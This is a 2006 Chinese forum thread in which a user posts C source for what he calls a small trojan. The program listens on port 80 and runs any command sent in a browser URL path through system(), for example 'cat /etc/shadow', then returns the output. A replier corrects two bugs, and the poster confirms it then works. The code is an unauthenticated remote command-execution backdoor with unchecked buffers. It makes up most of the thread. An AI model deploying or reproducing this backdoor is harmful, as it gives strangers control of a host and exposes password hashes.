通过socket,自编程识别http协议数据
以下的程序算是一个小小的木马吧,设计目的是通过浏览器来控制远程UNIX系统。比如输入 http://192.168.0.111:80/cat /etc/shadow 就能在浏览器里看到 /etc/shadow 的内容。(转自chinaunix)
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define SA struct sockaddr
int main()
{
int n, listenfd, connfd;
char rbuf[1024], wbuf[1024], cbuf[256], *str;
FILE *fp;
struct sockaddr_in servaddr;
if ((listenfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
perror("socket"), exit(0);
bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(80);
if (bind(listenfd, (SA *) &servaddr, sizeof(servaddr)) < 0)
perror("bind"), exit(0);
if (listen(listenfd, 10) < 0)
perror("listen"), exit(0);
for(;;)
{
int No;
bzero(cbuf, 256);
bzero(wbuf, 1024);
if (connfd=accept(listenfd, (SA *)NULL, NULL) < 0)
perror("accept"), exit(0);
else printf("accept...\n");
if ((No = read(connfd, rbuf, 1024)) < 0)
perror("read"), exit(0);
else printf("read buf:%s read_return=%d\n", rbuf, No);
if (fp=fopen("~~~tempfile~~~", "w"))
perror("open tempfile error"), exit(0);
else printf("open tempfiel\n");
fclose(fp);
str = strstr(rbuf, "GET /");
str += 5;
for(n=0; *str!=' '; n++)//' '
{
if (*str == '%')
{
str += 3;
*(cbuf+n) = ' ';
}
else *(cbuf+n) = *(str++);
}
strcat(cbuf, ">~~~tempfile~~~");
printf("%s\n", cbuf);
system(cbuf);
if ( (fp=fopen("~~~tempfile~~~", "r")) == NULL)
perror("open tempfile error"), exit(0);
strcpy(wbuf, "Result:");
if (write(connfd, wbuf, strlen(wbuf)) < 0)
perror("write"), exit(0);
fgets(wbuf, 1000, fp);
while(!feof(fp))
{
strcat(wbuf, " ");
if (write(connfd, wbuf, strlen(wbuf)) < 0)
perror("write"), exit(0);
fgets(wbuf, 1000, fp);
}
fclose(fp);
unlink("~~~tempfile~~~");
close(connfd);
exit(0);
}
exit(0);
}
我将此程序运行在linux系统上,最初上面的程序阻塞在accept处,当我在windows下的浏览器输入http://192.168.0.111:80/cat /etc/shadow后,程序运行accept,但继续阻塞在read那里。
当按下回车时,收到一串空格和一个\n,当然后续工作也失败了。
不知道是否需要设置成守护进程,或者是程序有什么问题。
多谢!
问题点数:200、回复次数:5Top
1 楼fierygnu(va_list)回复于 2006-03-08 14:20:44 得分 200
没仔细看程序:(
if (fp=fopen("~~~tempfile~~~", "w")) //这对吗????
perror("open tempfile error"), exit(0);
另外怎么不用popen执行,那么复杂的用system?
Top
2 楼YanDong_8212(谢科)回复于 2006-03-08 14:54:21 得分 0
现在程序是能运行的,关键是无法正确接收来自客户端的数据。HTTP头正确的应该是以“GET ”开头的一串字符串,但实际没接收到。Top
3 楼YanDong_8212(谢科)回复于 2006-03-08 14:56:28 得分 0
程序是来自:
http://fanqiang.chinaunix.net/program/netpro/2001-04-19/1901.shtmlTop
4 楼fierygnu(va_list)回复于 2006-03-08 16:17:58 得分 0
这是什么人写的,也敢贴出来?
if (fp=fopen( "~~~tempfile~~~ ", "w ")) //这对吗????
应该是
if (!(fp=fopen( "~~~tempfile~~~ ", "w "))) //这对吗????
if (connfd=accept(listenfd, (SA *)NULL, NULL) < 0)
应该是
if ((connfd=accept(listenfd, (SA *)NULL, NULL)) < 0)
其它的可能越界一类的地方就先不说了,改这两个地方试试吧。Top
5 楼YanDong_8212(谢科)回复于 2006-03-08 16:34:55 得分 0
还是大哥仔细啊,我太大意了,没仔细看,现在的执行情况就正确了:
GET /cat HTTP/1.1
...
哈哈,谢谢,谢谢!
Top




